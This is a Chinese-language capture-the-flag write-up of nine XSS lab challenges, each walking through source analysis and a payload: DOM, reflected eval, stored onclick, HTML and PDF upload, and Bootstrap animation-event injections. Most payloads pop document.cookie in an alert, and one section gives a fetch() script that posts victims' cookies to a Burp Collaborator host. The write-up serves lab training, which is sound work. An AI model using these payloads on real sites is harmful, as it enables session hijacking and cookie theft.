2026.1.13 问道靶场WriteUP

1. DOM XSS in Select

1.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,Check Availability in Store: 功能可以实现下拉菜单选择不同城市并提交检查的功能。

1

  • 然后我们通过检查网页源码,该代码从URL参数storeId中直接读取用户输入的值,并未经任何过滤,通过document.write()方法拼接进<option>标签中。

2

  • 经此我们可以判断,由于用户可完全控制store变量的值,并且该值被直接写入HTML文档,这导致了一个典型的反射型XSS漏洞。攻击者可以构造一个包含恶意脚本的URL。

1.2 漏洞利用

  • 通过刚刚的分析我们可以构造一个用于窃取cookie内容的简单payload。

    1
    <script>alert(document.cookie)</script>
  • 之后再浏览器中直接访问构造好的恶意URL。

3

  • 然后就获得了flag。

4

2. Reflected DOM XSS

2.1 信息收集与代码分析

  • 通过访问目标靶机我们可以发现,本靶机的核心功能是用户可以在搜索框输入关键词,然后前端的JS会通过AJAX请求search.php获取并展示搜索结果。

5

  • 通过查看网页源码,我们可以看到search()函数:通过 XMLHttpRequestsearch.php?q=[查询词]发起GET请求。

6

  • 服务器返回的响应先被JSON解析,然后呗直接拼接到eval('(' + xhr.responseText + ')')中执行,这就导致了。如果服务器返回的 response中包含可执行的JavaScript代码,eval函数会直接执行它,而且这个过程是发生在数据被安全转义和插入到页面之前的,从而绕过了HTML的转义防御。

  • 接下来我们尝试正常搜索,即q=1的情况下,发现服务器返回合法的JSON格式。

7

  • 之后我们尝试闭合掉字符部分,从而让我们可以构造一个脱离字符串上下文,独立的可执行的JS代码,但是当我们让q="时,可以发现,我们的"被转义掉了。

8

  • 这时我们可以再加一个转义符号来让我们的引号成立。

9

2.2 Payload构造

  • 通过上面的测试,我们已经找出了能够在拼接进eval时,脱离字符串上下文,成为可执行的JS代码。

  • 所以这里我们的核心思路就是再将eval中的字符串和括号闭合掉,并注入我们的恶意代码。

    1
    \"-alert(document.cookie)})//
  • 那么在它被拼接后我们会得到这样的内容。

    1
    eval"(" + '{"results":[],"searchTerm":"\\"-alert(1)})//"}' + ")");
  • 目标是让 \"破坏 searchTerm字符串的边界,使 -alert(1)})成为独立的JS语法(例如,可能是减法操作和函数调用),//注释掉后续内容。

  • 之后我们就会得到flag弹窗。

10

3. Stored XSS into onclick event

3.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,本靶机可以实现一个博客系统的评论功能。

11

  • 之后我们查看网页源码可以发现,提交后的评论会显示再网站上,并且被一个a标签包裹着,这表明前端代码在构造作者链接时,可能不当地将用户输入拼接到了JavaScript事件(如onclick)或href属性中

12

3.2 Payload构造

  • 那我们就可以通过javascript: 伪协议来构造这次的payload。

    1
    javascript:alert('doucument.cookie')
  • 发表评论后点击,就可以发现页面成功回显了flag。

13

4.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,本靶机实现了一个博客系统的评论功能,包含作者姓名、网站、评论输入框及发布和刷新按钮。

14

  • 查看网页源码可以发现,提交后的评论会显示在网站上,并且用户输入的内容被直接嵌入到HTML标签中。这表明前端代码在处理用户输入时没有进行适当的过滤和编码,存在XSS漏洞。

15

  • 从代码分析可以看出,用户输入被直接拼接到了HTML属性中,这使得我们可以构造包含JavaScript代码的payload,当其他用户(特别是管理员)查看评论时,代码将被执行。

4.2 Payload构造

  • 由于网站存在存储型XSS漏洞,我们可以构造一个利用Fetch API的payload,将用户的cookie发送到我们控制的服务器。

  • 这里我们可以使用burp suite来创建一个临时的存放点,通过Collaborator我们生成一个域名:zy18zwlhpjfp9isxns77270zrqxnld92.oastify.com,所以可以得到Payload。

    1
    2
    3
    4
    5
    6
    7
    <script>
    fetch('https://zy18zwlhpjfp9isxns77270zrqxnld92.oastify.com', {
    method: 'POST',
    mode: 'no-cors',
    body:document.cookie
    });
    </script>
    • fetch()用于发送HTTP请求。
    • mode: 'no-cors'绕过跨域限制,确保请求能成功发送。
    • body: document.cookie将当前用户的cookie作为请求体发送。
  • 最后我们就可以通过BP来找到窃取到的管理员cookie。

16

5. Upload Path URl XSS

5.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,目标网站提供一个仅允许上传 .html文件的上传功能。

  • 我们先随便上传一个html文件,发现上传后,服务器会对文件进行随机重命名,并且可以进行浏览。

17

  • 上传点仅允许HTML文件,这通常意味着服务器不会检查文件内容,只检查扩展名。我们可以上传一个包含恶意脚本的HTML文件。
  • 由于上传的是HTML文件,当管理员或其他用户(或服务器自身)访问该文件时,其中的JavaScript代码将在浏览器中执行。我们可以利用这一点来窃取敏感信息,例如document.cookie
  • 创建一个包含窃取Cookie脚本的HTML文件并上传。上传成功后,直接访问被重命名后的文件,脚本执行并弹出当前会话的Cookie,其中包含flag

5.2 Payload构造

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>alert(document.cookie)</script>
</head>
<body>
</body>
</html>
  • 该脚本的作用是,在页面加载时弹出一个对话框,显示当前页面的所有Cookie信息。

之后我们上传文件并访问,可以看到我们已经成功拿到了flag。

18

6. Hidden Adurl Reflected XSS

6.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,这是一个客服中心的首页。

19

  • 页面提示问题已受理,并引导用户关注右侧的“活动权益”。

  • “活动权益”板块有一个明显的“立即参与”按钮,并注明点击后会跳转到合作方活动页面。这是题目设定的“陷阱”入口。

20

  • 这是点击“立即参与”后进入的页面。
  • 页面明确显示当前的广告编号为 AD-2025-001,而且有一段极其重要的提示:“可更改链接中的 adid 参数并刷新页面以更新编号。”,页面底部有两个按钮:“示例编号”和“示例XSS”。这直接向答题者暗示,此处存在一个可用于测试的XSS漏洞点。

6.2 Payload构造

  • 这里我们可以直接构造payload来替换掉adid参数的值。

    1
    49.232.171.41:18891/landing.php?adid=<script>alert(document.cookie)</script>
  • 之后我们就可以看到页面弹窗显示了当前会话的完整Cookie信息。

21

7. PDF Upload XSS

7.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,这是一个实验文档中心网站,提供PDF上传功能。上传后可在“历史上传”区域查看或下载文件。

22

  • PDF文件支持嵌入JavaScript代码(通过 /AA动作或 /JS对象)。当PDF在浏览器中打开时,如果阅读器(如浏览器内置PDF查看器)未正确过滤脚本,则会执行其中的JavaScript代码。结合网站上传功能,可构造恶意PDF,诱使管理员或用户打开,从而触发XSS。

7.2 Payload构造

  • 我们可以构造包含以下关键代码段的pdf文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <</AA
    <</0
    <</JS
    (
    try {
    app.alert(document.cookie)
    } catch (e) {
    app.alert(e.message);
    )
    /S /JavaScript>>
    • 尝试读取 document.cookie并弹窗显示,失败则显示错误信息。
  • 上传后浏览文件时cookie就会被窃取。

8.1 信息收集与代码分析

  • 通过访问目标靶机,我们可以发现,我们面对的是一个在线客服系统。系统分为两部分:智能客服对话窗口人工客服引导区域

23

  • 我们可以尝试发送一些内容。

24

25

  • 人工客服会查看原始消息,并且消息中的链接可被点击。这提示我们,发送给客服的内容如果是链接形式,可能会被客服端主动触发。
  • 所以我们可以让人工客服在后台点击用户消息中包含的链接。

8.2 Payload构造

1
<script>alert(document.cookie)</script>
  • 当人工客服在工作台查看这条用户留言时,系统很可能将<script>标签内的内容自动渲染/识别为一个可点击的链接,或者客服出于检查目的点击了该内容。一旦点击,其中包含的JavaScript代码(alert(document.cookie))就会在客服的浏览器环境(即工作台页面) 中执行。
  • 当发送我们构造好的payload之后我们可以发现,页面弹框出了cookie。

26

9. Bootstrap RealSite XSS

9.1 信息收集与代码分析

  • 目标网站是一个模拟的、具有渲染功能的服务。用户可以在“用户提交”区域输入内容,该内容会被系统渲染并显示在下方。

27

  • 这是一个基于Bootstrap框架的站点,存在一个已知的XSS攻击向量。关键特征包括:
    • 右侧有一个带有progress-bar-animated类的进度条(显示64%)
    • 用户输入通过content参数传递并在页面中渲染
    • 未对用户输入进行充分的HTML过滤

9.2 Payload构造

  • 利用Bootstrap动画特性构造XSS Payload:

    1
    <xss class=progress-bar-animated onanimationstart=alert(document.cookie)>
    • 使用<xss>标签绕过可能的标签过滤。
    • 添加progress-bar-animated类,与页面中已有的进度条动画类同名。
    • 通过onanimationstart事件,当CSS动画开始时触发JavaScript执行。
    • 页面中任意元素开始CSS动画时,会触发所有具有progress-bar-animated类元素的animationstart事件。
  • 在输入框中输入我们构造好的payload,页面就会出现弹窗,并显示cookie。

28